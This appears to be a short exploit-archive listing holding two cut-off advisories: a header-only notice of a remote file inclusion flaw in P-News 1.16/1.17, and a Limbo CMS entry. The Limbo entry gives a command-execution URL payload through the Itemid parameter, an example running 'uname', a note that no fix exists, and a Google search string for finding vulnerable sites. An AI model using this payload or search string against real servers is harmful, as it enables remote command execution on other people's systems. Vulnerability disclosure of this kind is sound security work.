P-News 1.16 - Remote File Inclusion

============================================ P-News 1.16, 1.17 Remote File Inclusion Vulnerability ============================================ Discovered by vegas78 - feel82atweb.de ============================================ Greetz: scoper, corny, smaesch0r, Sascha Schmalz, ReFleCtion, BleX,...

limboExec.txt

Official page : http://www.limbo-cms.com/ Vulnerable : Limbo 1. Fix : No Bug : http://somehost/path-to-limbo/index.php?option=frontpage&Itemid=systemCODE example : index.php?option=frontpage&Itemid=systemuname Google search string : inurl:"option=frontpage" -- Best Regards, Aleksander Hristov...